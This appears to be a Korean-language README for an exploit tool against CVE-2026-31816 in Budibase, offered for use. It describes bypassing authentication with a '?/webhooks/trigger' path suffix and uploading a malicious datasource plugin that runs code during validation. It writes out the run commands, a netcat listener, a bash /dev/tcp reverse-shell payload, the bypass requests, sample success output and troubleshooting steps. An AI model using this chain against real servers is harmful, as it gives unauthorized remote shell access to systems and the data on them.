
CVE-2026-31816을 Budibase에서 악용하여 인증을 우회하고, 악성 데이터소스 플러그인을 업로드한 후, 원격 접근을 위한 리버스 셸을 실행합니다.
이 도구는 CVE-2026-31816을 악용하여 대상 Budibase 서버에 리버스 셸 연결을 설정합니다.
공격 체인: 인증 우회 → DATASOURCE 플러그인 업로드 → 서버 측 코드 실행 → 리버스 셸
requests 라이브러리 (pip install requests)# 1. 공격자 머신에서 리스너 시작
nc -lvnp 4444
# 2. 익스플로잇 실행 (다른 터미널)
python3 CVE-2026-31816-rshell.py -t http://target:10000 --lhost YOUR_IP --lport 4444
| 매개변수 | 필수 | 설명 |
|---|---|---|
-t, --target | ✅ | 대상 Budibase URL |
--lhost | ✅ | 리스너 호스트 (사용자 IP) |
--lport | ❌ | 리스너 포트 (기본값: 4444) |
# 공격자 IP: 192.168.1.100
# 대상 Budibase: 192.168.1.128:10000
# 터미널 1 - 리스너 시작
nc -lvnp 4444
# 터미널 2 - 익스플로잇 실행
python3 CVE-2026-31816-rshell.py \
-t http://192.168.1.128:10000 \
--lhost 192.168.1.100 \
--lport 4444
GET /api/integrations?/webhooks/trigger
200을 반환하면 대상이 인증 우회에 취약한 것입니다.
{
"type": "datasource",
"schema": { ... }
}
DATASOURCE 유형 플러그인은 서버에서 JavaScript 코드를 실행합니다.
// 플러그인 검증 시 실행:
bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1'
POST /api/plugin/upload?/webhooks/trigger
인증을 우회하여 플러그인을 업로드합니다. 코드는 검증 중에 실행됩니다.
┌─────────────┐ ┌─────────────┐ ┌─────────────┐
│ 공격자 │ │ 대상 │ │ 리스너 │
│ │ │ 서버 │ │ (nc) │
│ │ │ │ │ │
│ 익스플로잇 ─┼────►│ 플러그인 │ │ │
│ │ │ 업로드 │ │ │
│ │ │ 코드 실행 │────►│ 리슨 │
│ │ │ │◄────┤ 리버스 │
│ │ │ │ │ 연결 │
└─────────────┘ └─────────────┘ └─────────────┘
============================================================
CVE-2026-31816 - 리버스 셸 익스플로잇
============================================================
[*] 대상: http://192.168.1.128:10000
[*] 리버스 셸: 192.168.1.100:4444
[*] 취약점 확인 중...
[+] 대상이 취약합니다!
[*] 192.168.1.100:4444를 대상으로 하는 리버스 셸 플러그인 생성 중
[*] 리버스 셸 플러그인 업로드 중...
[*] 상태: 200
[+] 플러그인이 성공적으로 설치되었습니다!
============================================================
[+] 성공! 리스너를 확인하세요!
============================================================
가능한 원인:
해결 방법:
# 네트워크 연결 확인
ping YOUR_IP
# 방화벽 확인
sudo ufw allow 4444/tcp
# 다른 포트 시도
nc -lvnp 8080
가능한 원인:
해결 방법:
# 취약점 존재 여부 수동 테스트
curl -s "http://target:10000/api/integrations?/webhooks/trigger"
# JSON을 반환하면 취약점이 존재함